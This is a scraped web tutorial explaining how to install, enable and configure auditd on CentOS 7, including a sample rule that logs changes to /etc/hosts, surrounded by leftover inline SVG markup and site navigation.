c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.347z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.411c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.097c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69H441.02z
M442.863%2c35.72l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c48.627c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c48.627z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_3_' filterUnits='userSpaceOnUse' x='251.18'
y='28.697' width='231.067' height='53.966'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='251.18' y='28.697' width='231.067'
height='53.966' id='SVGID_4_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_3_)'%3e%3cimage overflow='visible'
width='236' height='59'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAKMAAAE%2bwAADjj/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIADsA7AMBIgACEQEDEQH/
xACsAAACAwEBAAAAAAAAAAAAAAAABgQFBwMCAQEAAAAAAAAAAAAAAAAAAAAAEAABAwQBAgUFAQAA
AAAAAAAFAwQGAAECBzUVFxARExQ2IDBAUBY0EQACAQMCAwQECAgMBwAAAAABAgMREgQAITETBRBB
YRRRIrPTgZEykiMzNHTwcVJy4yQVNSAwQKGxwUJiooOkBuFTc6OEJUYSAQAAAAAAAAAAAAAAAAAA
AFD/2gAMAwEAAhEDEQAAAKZp4O4nle2mcLO94%2bUg/wAcSCW1CUaB4EIsZhRDeoBKZfIxq2srBkw/
qpeXUi9KKH5iiIWrQIQ%2bpporapMAkPK42EaXnOkipfQOYMFPcFBOzWwH9ebaglYZuGNG6qjWvjAu
MeQGodUbQyikeoRYVVtHJvibmQyKqkGt2uZdiPr%2bAtoyNmR8TRINT5OugZlppV9kn2OdVm/M26El
VxqiotQjXahG4mkcU5TNehJHE11WV641rlkLQM2VNKQAAAAAAA4ahirUJ9f24gAAAAAAAAAAAAAA
H//aAAgBAgABBQD95//aAAgBAwABBQD95//aAAgBAQABBQCFxhjIL9sQNdsQNdsQNSaEvAmH3BjX
B6S7YgamkYYx%2b/hDocNPDXWuY41bBoXGnIiWxKPjo/8ARq9rhiNrupUfONzw5y2RdtgkRMm07arv
5PtYPkULDHnU22rymSnauldWKWTLACoZQFDyZ5pfWR%2b1qtrI/e2EPJgSlSeHZyF5fVd/I3GyoLPW
qCqUekHAih%2bwMxcmYzdIKEjZU7mlqxS6aurFLJ9McdV1jwKqqaKbLWyb1mIEsw7F0/Ze8SSSQSkU
8bhH4ckkWGSQJi7dUdmIsE8DHhptAqNbFmGuUFWwgyuq2EeEwUcZGaMTgOHfhzTA00IsG5JjC0FW
0blDhJvHY/wM89wqHHMG41iTMDRKLXYsbXv6gTuDrHgZBwOtSnuRLlG67eAIrt5ZTiaRps4/u4pT
CWx8i7rYTZRCTavTcXKVHGuCDeQcCJZdQKUZ%2bV1PcM8ZVqyyvq1H1U1h07%2bKAsM0wh7BtmvWz/W6
x4a/bpIxiQcDBSNmEjovjgAlNr2vY1Cwxp0hrWPJKpMhY/YlHI8OOoCRDEOzMk0hIyBPMHUbva17
MwolgtRJRwpsGjkYEnbCRDEOzkZlMKJjaSaUfnfxSp86uyHsnrUg1JBxhZJCFRdBX3THrYidFxA9
7sQ29Z4Z5p522aftYvOSxhgHmR0RgltNSybjaTjJKIuXJ6a0dmBYJKb7Uv5G5IVO5hTpAG6S2mpZ
MjsYy7U7nHq/uS/V%2b5x6huwzbRw42k4ySLmyRpwy2IbZMy86Llx9tmn7WOzAmeaBJIVBZpbTUsm7
2gQz%2b1rHnqkHPflxrkKe/wCz8P8A/9oACAECAgY/AHP/2gAIAQMCBj8Ac//aAAgBAQEGPwDM85JL
GMblWckqteZzK1vRvyNfaMv58fudfaMv58fudfaMv58fudNmQP5np67tKaK8VzWqrrX1uI3X4h/G
4mHISqZM8cTMvECRwhIr%2bPX2jL%2bfH7nWH5OSWQZPNv5xVqcvl0pYi/l9suZmSzo6TtEqxMiiioj1
N6N%2bVqbJlyctYoEaR2ujNFQFiaCGp2GsHJnw75pseKSR%2bbKKs6KzGiyAcTrKzcLF5WRFy7H5kjUu
kRDs7sODfwc3MBN804iZe4CFA6keP0p7P3X/AKj9Dpc6BDGQxjlibeyRQCVu2uFGFDqXFnW6GdGj
kXhVWFp3GufiokWNuBPMxVGZeIW0Mx/HSnjrfqm/f%2br/AKbRkwcxMqVd%2bS6cmop/Za9xWvpoPHSd
KlTk5jyrBZJta7kKKkV234ju1TLzIIoqbNEHlavotZYh/Pr96f6f9NpjD1JXlANivCUUnuBYSMR8
R1ZnwMiE0SYetE/GlrjappWh38NPl4ckEcUchiIlZwSwVWNLEbuYarz8Q%2bF8nuuyvPxB4Xye610n
LzJIJIpM/HiAiZyQxe7e9F7lPZFknPOOkMfLWHl8wVuZmcfSJQmoHDu1t1Tfu/V/02l89GDE5tjn
jN0bGlaV2IP5wGneRbVnyZJIjt6yhUjr85CNdT%2b6T%2bzbWG%2bH1PGixWhjMEbqpZYyoKA/q7cF8dZE
nVeoY%2bRgqU50USgMauoXhBHwanfpvIxgRIbZJ5DbGppWldyT%2baDpTN1JUlIF6pCXUHvAYyKT8Q0x
h6krygGxXhKKT3AsJGI%2bI6/ZNV8z5jytamzmX8rjStK%2bGsj72/s4dPNKwSONS7uxoFVRUkn0Aagz
IupkR5EaSqDjioDqGoaTncV0mFhrbGu7MflO54u59Jp/VqPpDl3yMtHJSKoMcQU1kd0IKA/JB414
aSGFBHFGAqIooqqNgABo9PjxTlzRgGYl%2bUqFgGVR6j3eqa/htj9QiFqzpUpubWBtdakCtrAitN9d
M6lBCGysTMxzK6g3nH5guFF42kht%2bAr2Lh5cc8krxiUGFUZQGLLQ3SKa%2brppsCQtZaJY2FrxlhUB
h/WKjx1NgZVeVMACVNGUg3Kw8QRrMx5lsmhzpY5F2NrIkSsNvEazsiFrJocaaSNtjayIzKd/Edv%2b
28WKrRvmCZ41FamFoqN6fVV27H6fkRzyzxBTIYkUqpcXAVd03oQdtebwXLIDY6spVkegYqw8Lu6o
8dTYOSKxToVJoCVJ4Mta7qdxrFx5lsmheeORdjayTyqw28RrqUkptVseSMGhPrSrykG3pZhrpn3S
D2a6g6fj239Ry4MUl60FxLruOHrIPg1Dg4wpFAgUGgBYjizUpux3OhN1DIWBWrYp3d6UBsRas1Ki
tBt36YSvNiW0oZoybq%2bjkmTh468zzo/2bzvM8%2b/6Pm8rnXX1/wCd3fBrI%2b9v7OHXU/uk/s21L05h
RsB6oR3xzFnHfxDXfBTUsAkeIyoyCWM2ulwtuQ9xHdrqEGS3MyIoZkmepa51miVjcdzU9kuNPm2T
Qu0ci8qY0dDawqIyOI19u/7M3u9R4WFl83IlrYnLlWtqlzu6AcB2TyvS3JjiljpxtCCHfxujOsyR
a%2bWWALJv6vMZ1MdV7zRXp8Pp7M2VSScrqGZK4PAETPDQfBGNdT%2b6T%2bzbWJhEMVyJkjcoKsEZhew2
PyVqez/bn/nexXszGZSocRMhIoGHKRaj07gjXUiGAiCwh1p6xYmS0hq7AC6u3o9HY00TB4pMnMdH
U1DK2VMQQfEazv8AJ9tHrp0cilHTFgVlYUKkRqCCD366OuUQIx1BGUk2/SLDO0W//UC7d/Dsxbru
R5YWVrZfzHvt7q0tr8HbjyRijZDyySmpNWDtFX5qDXU/uk/s21jhyBHlg4zkgk/SUKUp6ZFUdmL1
6gXD6kPJZzn%2bw5oUkqzClbBXbgp7zqo3B4HQy8jmQT0o7wFV5lOBe5G3Hp/4aWR3yZ1XjFJIoVtu
/lojfEdYGD0yPlRwQuJkqx%2blaKaT5Tkk%2boy9/h2LDmqwaM1jmjIWRPSASGFD3gjS4eElsa7sx3d2
73c7VP4DWR1CUVECVVd/Xc%2bqi7A8WIGoRzDJPDJKuQWqW5jyNNUk8ahwa6odweI1JPhYkUEsvynR
ADSgFq/kj1RsNu/j2dIgFWggxZZqAVCGRZo2Ykem1Rv2K2ajLOgtTIia2RVrdbuCpH4we%2bmlw8JL
Y13Zju7t3u52qfwGp80kc4C3HQ09eVtl2qKgcT4A66asahFONE5CigudA7H8ZYknWd/k%2b2j7OnZg
W843UIJglaXctZXpXfjTUeXiSCWCUVRx/QfQR3jQi6hjpOq/IJqGWpBNrrRlrQVod9LKmApZeAke
SRdxTdJHZT8I15zkf%2bv81zvLUX6jmX8u35PydqcNRdPxosd4YbrGkVy3rsXNSsiji3o1Phyw4yx5
EbROyJJcFcFTSspFaHSyRsUdCGVlNCpG4II79U5GIfGyT3upOn5MOOkMpUs0auH9Rg4oWkYcR6NC
GGYT44FFgyAZFTgBaQVYUA4A08NKJumq8oAvZJiik95CmNiPjOiMbpyRTbWvJKZFG%2b9UVIz/AItN
1XJKRzRxPM6RqQpoi4oUVYkbOD2ZkMLifCBirjSbqKxRFrGG6nj4VNaHW3S9%2b79Y/Q6Xz0gESG6O
CMWxqaUrTck/nE6OTgsPWFskT1Mcg7rlBHDu30om6arygC9kmKKT3kKY2I%2bM6XyyR4kKSJIFUszs
EIayR6rVSeNANttfZ8T5knvtftjlY/mPL%2bVstfl8u/m8OZdW7x19nxPmSe%2b075QXMx5HZzC1VKXF
mtjk9YgVPBrqAUFNEY3Tkim2teSUyKN96oqRn/FoT58vMK1EaABUjUmtFUf08fSdQYcUOM0ePGsS
M6SXFUAUVpKBWg1L0/Jix0hmtvaNXDeowcULSMOK%2bjVORiHxsk97pMTMjgjijkEoMSuCWCsu97t3
MdN5GQGJzdJBILo2NKVpsQfzSNKJumq8oAvZJiik95CmNiPjOl8lhQwbG/ms0xPott5VP5/4rI%2b6
P7SHs6n97n9o38sb94fVN%2b6/tHFeP9z0/Br/AOs1kfW/Wv8AX/XfKP1v9/8AK8f5J//Z'
transform='matrix(1 0 0 1 249 26.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg
opacity='0.12' mask='url(%23SVGID_4_)'%3e%3cg%3e%3cpath
d='M264.56%2c37.737c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c50.594c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.006c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.332c-3.337%2c0.951-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.438c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.016%2c331.017%2c49.699%2c331.374%2c47.438z
M329.827%2c82.663c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.289l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.289z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.438c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.016%2c402.761%2c49.699%2c403.125%2c47.438z
M401.69%2c65.347
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.347z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.411c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836
c1.126-13.213%2c1.785-26.415%2c2.144-39.686H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.097c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c35.72l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c48.627c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c48.627z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M495.859%2c68.106c-1.011%2c0.98-2.226%2c1.469-3.639%2c1.469c-1.466%2c0-2.697-0.499-3.701-1.502
c-1.001-1.005-1.502-2.235-1.502-3.7c0-1.52%2c0.54-2.784%2c1.625-3.789c1.015-0.941%2c2.208-1.413%2c3.578-1.413
c1.438%2c0%2c2.661%2c0.508%2c3.677%2c1.524c1.017%2c1.017%2c1.525%2c2.242%2c1.525%2c3.678C497.423%2c65.855%2c496.905%2c67.098%2c495.859%2c68.106z
M489.176%2c61.357c-0.828%2c0.847-1.241%2c1.852-1.241%2c3.013c0%2c1.204%2c0.419%2c2.226%2c1.261%2c3.069c0.837%2c0.842%2c1.846%2c1.26%2c3.032%2c1.26
c1.181%2c0%2c2.188-0.421%2c3.024-1.263c0.835-0.854%2c1.254-1.879%2c1.254-3.066c0-1.158-0.419-2.16-1.246-3.013
c-0.845-0.865-1.852-1.297-3.032-1.297C491.032%2c60.06%2c490.019%2c60.492%2c489.176%2c61.357z
M489.94%2c67.273V61.5
c0.357%2c0%2c0.894%2c0.002%2c1.608%2c0.005c0.709%2c0%2c1.104%2c0.004%2c1.188%2c0.01c0.453%2c0.032%2c0.837%2c0.133%2c1.135%2c0.295
c0.512%2c0.286%2c0.77%2c0.747%2c0.77%2c1.382c0%2c0.485-0.137%2c0.841-0.406%2c1.059c-0.271%2c0.22-0.604%2c0.35-1%2c0.391
c0.362%2c0.073%2c0.632%2c0.187%2c0.816%2c0.333c0.336%2c0.272%2c0.506%2c0.704%2c0.506%2c1.285v0.518c0%2c0.057%2c0.004%2c0.115%2c0.013%2c0.169
c0.007%2c0.059%2c0.021%2c0.109%2c0.046%2c0.17l0.056%2c0.158h-1.442c-0.046-0.181-0.08-0.446-0.099-0.792
c-0.016-0.344-0.054-0.584-0.099-0.708c-0.076-0.196-0.214-0.339-0.417-0.418c-0.113-0.046-0.288-0.077-0.517-0.094l-0.33-0.021
h-0.314v2.033H489.94z
M492.692%2c62.628c-0.208-0.087-0.497-0.126-0.874-0.126h-0.365v1.695h0.584c0.351%2c0%2c0.629-0.07%2c0.825-0.216
c0.197-0.141%2c0.299-0.376%2c0.299-0.692C493.161%2c62.972%2c493.005%2c62.747%2c492.692%2c62.628z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M495.859%2c67.606c-1.011%2c0.98-2.226%2c1.469-3.639%2c1.469c-1.466%2c0-2.697-0.499-3.701-1.502
c-1.001-1.005-1.502-2.235-1.502-3.7c0-1.52%2c0.54-2.784%2c1.625-3.79c1.015-0.941%2c2.208-1.413%2c3.578-1.413
c1.438%2c0%2c2.661%2c0.508%2c3.677%2c1.524c1.017%2c1.017%2c1.525%2c2.243%2c1.525%2c3.678C497.423%2c65.355%2c496.905%2c66.598%2c495.859%2c67.606z
M489.176%2c60.857c-0.828%2c0.847-1.241%2c1.852-1.241%2c3.013c0%2c1.204%2c0.419%2c2.226%2c1.261%2c3.069c0.837%2c0.842%2c1.846%2c1.26%2c3.032%2c1.26
c1.181%2c0%2c2.188-0.421%2c3.024-1.263c0.835-0.854%2c1.254-1.879%2c1.254-3.066c0-1.158-0.419-2.16-1.246-3.013
c-0.845-0.866-1.852-1.297-3.032-1.297C491.032%2c59.56%2c490.019%2c59.992%2c489.176%2c60.857z
M489.94%2c66.773V61
c0.357%2c0%2c0.894%2c0.002%2c1.608%2c0.005c0.709%2c0%2c1.104%2c0.004%2c1.188%2c0.01c0.453%2c0.032%2c0.837%2c0.133%2c1.135%2c0.295
c0.512%2c0.286%2c0.77%2c0.747%2c0.77%2c1.382c0%2c0.485-0.137%2c0.841-0.406%2c1.059c-0.271%2c0.22-0.604%2c0.35-1%2c0.391
c0.362%2c0.073%2c0.632%2c0.187%2c0.816%2c0.333c0.336%2c0.272%2c0.506%2c0.704%2c0.506%2c1.285v0.518c0%2c0.057%2c0.004%2c0.115%2c0.013%2c0.169
c0.007%2c0.059%2c0.021%2c0.109%2c0.046%2c0.17l0.056%2c0.158h-1.442c-0.046-0.181-0.08-0.446-0.099-0.792
c-0.016-0.344-0.054-0.584-0.099-0.708c-0.076-0.196-0.214-0.339-0.417-0.418c-0.113-0.046-0.288-0.077-0.517-0.094l-0.33-0.021
h-0.314v2.033H489.94z
M492.692%2c62.128c-0.208-0.087-0.497-0.126-0.874-0.126h-0.365v1.695h0.584
c0.351%2c0%2c0.629-0.07%2c0.825-0.216c0.197-0.141%2c0.299-0.376%2c0.299-0.692C493.161%2c62.472%2c493.005%2c62.247%2c492.692%2c62.128z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/svg%3e'
/>

Search <img src='data:image/svg+xml,%3csvg width='1792' height='1792'
viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' data-evernote-
id='192' class='js-evernote-checked'%3e%3cpath d='M1216
832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5
131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54
0-90-38l-343-342q-179 124-399 124-143 0-273.5-55.5t-225-150-150-225-55.5-273.5
55.5-273.5 150-225 225-150 273.5-55.5 273.5 55.5 225 150 150 225 55.5 273.5q0
220-124 399l343 343q37 37 37 90z'%3e%3c/path%3e%3c/svg%3e' />

<img src='data:image/svg+xml,%3csvg width='64' version='1.1'
xmlns='http://www.w3.org/2000/svg' height='64' viewBox='0 0 64 64' data-
evernote-id='194' class='js-evernote-checked'%3e%3cg%3e%3cpath
d='M28.941%2c31.786L0.613%2c60.114c-0.787%2c0.787-0.787%2c2.062%2c0%2c2.849c0.393%2c0.394%2c0.909%2c0.59%2c1.424%2c0.59
c0.516%2c0%2c1.031-0.196%2c1.424-0.59l28.541-28.541l28.541%2c28.541c0.394%2c0.394%2c0.909%2c0.59%2c1.424%2c0.59c0.515%2c0%2c1.031-0.196%2c1.424-0.59
c0.787-0.787%2c0.787-2.062%2c0-2.849L35.064%2c31.786L63.41%2c3.438c0.787-0.787%2c0.787-2.062%2c0-2.849c-0.787-0.786-2.062-0.786-2.848%2c0
L32.003%2c29.15L3.441%2c0.59c-0.787-0.786-2.061-0.786-2.848%2c0c-0.787%2c0.787-0.787%2c2.062%2c0%2c2.849L28.941%2c31.786z'%3e%3c/path%3e%3c/g%3e%3c/svg%3e'
/>

  * Cloud 
  * Big Data 
  * AI 
  * IoT 
  * Cybersecurity 
  * More
  *     * Newsletters
    * Forums
    * Resource Library
    * Tech Pro Free Trial
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='user-logged-out js-evernote-checked' data-evernote-id='196'%3e%3cpath id='user-5' d='M19%2c7.001c0%2c3.865-3.134%2c7-7%2c7s-7-3.135-7-7C5%2c3.134%2c8.134%2c0%2c12%2c0S19%2c3.134%2c19%2c7.001z M17.402%2c14.181c-1.506%2c1.137-3.374%2c1.82-5.402%2c1.82c-2.03%2c0-3.899-0.685-5.407-1.822C2.521%2c15.972%2c0%2c21.555%2c0%2c24h24 C24%2c21.577%2c21.4%2c15.994%2c17.402%2c14.181z'%3e%3c/path%3e%3c/svg%3e' />

# How to enable and configure Auditd on CentOS 7

Recommended Content:

White Papers: Don't Learn the Hard Way - Make Supply Chain Visibility Easy
with the Power of AI

When you need an answer to a supply chain question, how long it takes to find
the answer depends on whether you choose the hard way or the easy way. IBM
Watson Supply Chain can elevate your existing system to provide greater
visibility, and insight...

Continue

<img src='img/0.18003734082653233' width='1' height='1' />

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='comment-bubble js-evernote-checked' data-evernote-id='206'%3e%3cpath d='M16%2c0c8.8%2c0%2c16%2c5.3%2c16%2c11.9c0%2c2.9-2.2%2c6.3-4.6%2c8.3l2.3%2c7.2l-6.9-4.7c-2.1%2c0.7-4.3%2c1.1-6.8%2c1.1 c-8.8%2c0-16-5.3-16-11.9C0%2c5.3%2c7.2%2c0%2c16%2c0z'%3e%3c/path%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='facebook js-evernote-checked' data-evernote-id='207'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='twitter js-evernote-checked' data-evernote-id='208'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='linkedin js-evernote-checked' data-evernote-id='209'%3e%3c/svg%3e' />
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='email js-evernote-checked' data-evernote-id='210'%3e%3cg%3e%3cpolygon points='32%2c19.5 32%2c1.3 23.1%2c10.4'%3e%3c/polygon%3e%3c/g%3e%3cg%3e%3cpath d='M16.9%2c13.8L30.4%2c0h-29l13.5%2c13.9C15.4%2c14.4%2c16.3%2c14.4%2c16.9%2c13.8z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cpolygon points='0%2c1.5 0%2c19.4 8.7%2c10.5'%3e%3c/polygon%3e%3c/g%3e%3cg%3e%3cpath d='M18.3%2c15.3c-0.7%2c0.7-1.6%2c1-2.4%2c1c-0.9%2c0-1.7-0.3-2.4-1L10.2%2c12l-8.8%2c9h29.2l-8.9-9.2L18.3%2c15.3z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cpolygon points='32%2c21 32%2c21 32%2c21'%3e%3c/polygon%3e%3c/g%3e%3c/svg%3e' />

By  Jack Wallen <img src='img/jackwallenmay2018.jpg' width='60' height='60' />
in  Security  <img src='data:image/svg+xml,%3csvg
xmlns='http://www.w3.org/2000/svg' class='rss-icon-alt js-evernote-checked'
data-evernote-id='211'%3e%3cpath d='M6.503 20.752c0 1.794-1.456 3.248-3.251
3.248-1.796 0-3.252-1.454-3.252-3.248 0-1.794 1.456-3.248 3.252-3.248
1.795.001 3.251 1.454 3.251 3.248zm-6.503-12.572v4.811c6.05.062 10.96 4.966
11.022 11.009h4.817c-.062-8.71-7.118-15.758-15.839-15.82zm0-3.368c10.58.046
19.152 8.594 19.183
19.188h4.817c-.03-13.231-10.755-23.954-24-24v4.812z'%3e%3c/path%3e%3c/svg%3e'
/> on March 7, 2019, 10:49 AM PST

Learn how to install Auditd on CentOS 7 and how to add a new rule to watch for
file system changes.

If you use CentOS 7 in your data center, you probably assume it an impeccably
secure platform. For the most part, that assumption is on the money. However,
there are things you can do to make the platform even more secure. One such
task is to enable the auditd system.

### More about cybersecurity

  * Cybersecurity no. 1 challenge for CXOs, but only 39% have a defense strategy
  * Why deepfakes are a real threat to elections and society
  * 10 signs you may not be cut out for a cybersecurity job
  * Dark Web: A cheat sheet for business professionals

What is the auditd system? Auditd is part of the Linux Auditing System, and it
is responsible for writing audit records to disk. With auditd, you can
configure audit rules, view logs, and customize it based on specific
requirements. With the help of Auditd, you can gain valuable insights about
your server performance and activity. Out of the box, you should have auditd
installed on your CentOS 7 server. On the off-chance it's not, we'll install
it.

Let's take care of that.

**SEE:Information security policy template download \(Tech Pro Research\)**

## Installing Auditd

Audit system comes in the form of two packages: Audit and audit-libs. Let's
check to see if these are installed with the command:

[code]

    sudo yum list audit audit-libs
[/code]

If you see those packages listed \(**Figure A**\), everything is ready.

<img src='img/auditda.jpg' width='770' height='599' />

Figure A: The necessary packages are installed and ready to go.

If you don't see the packages listed, install them with the command:

[code]

    sudo yum install audit audit-libs
[/code]

Next, we need to start and enable Auditd with the commands:

[code]

    sudo systemctl start auditd
    sudo systemctl enable auditd
[/code]

At this point, Auditd is running and writing records to
_/var/log/audit/audit.log_. You can issue the command:

[code]

    tail -f /var/log/audit/audit.log
[/code]

The above command will follow anything written to the Auditd log, so you can
view it in real time.

## Configuring Auditd

In order to configure Auditd, we must first change to the root user with the
command _su_. Once you've done that, issue the command:

[code]

    nano /etc/audit/auditd.conf
[/code]

In this file \(**Figure B**\), you can configure the Auditd daemon.

<img src='img/auditdb.jpg' width='770' height='601' />

The Auditd daemon configuration.

  

What you want to focus your time on is the Auditd rules. Issue the command:

[code]

    nano /etc/audit/audit.rules
[/code]

Let's say you want to configure Auditd to watch a particular directory ...
say, _/etc/hosts_. In the audit.rules file, add the following:

[code]

    -w /etc/hosts -p wa -k hosts_file_change
[/code]

Where:

  * -w is the location to watch.
  * -p is the permissions \(in accordance to standard UNIX permissions\).
  * -k is the key name \(an optional string to help identify, which rule or a set of rules has generated a particular log entry\).

Save and close that file. After adding the rule, run the tail command \(from
above\) and edit the /etc/hosts file. You should see an entry tagged with the
key configured in the rules entry \(**Figure C**\).

<img src='img/auditdc.jpg' width='770' height='601' />

Figure C: Auditd has successfully caught our change in the hosts file.

And that's all there is to enabling Auditd and adding a new rule to the
system. This is a great way to keep track of what's going on with your CentOS
7 server.

<img src='img/article-NLSthumb.jpg' width='70' height='70' />

### Cybersecurity Insider Newsletter

Strengthen your organization's IT security defenses by keeping abreast of the
latest cybersecurity news, solutions, and best practices. Delivered Tuesdays
and Thursdays

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='envelope-alt js-evernote-checked' data-evernote-id='212'%3e%3cpath
d='M.026 24l11.974-11.607 11.974 11.607h-23.948zm11.964-23.961l-11.99
8.725v12.476l7.352-7.127-5.653-4.113 10.291-7.488 10.309 7.488-5.655 4.108
7.356 7.132v-12.476l-12.01-8.725z'%3e%3c/path%3e%3c/svg%3e' /> Sign up today

## Also see

  * How to install AIDE intrusion detection system on CentOS 7 \(TechRepublic\)
  * How to manage zones on CentOS 7 with firewalld \(TechRepublic\)
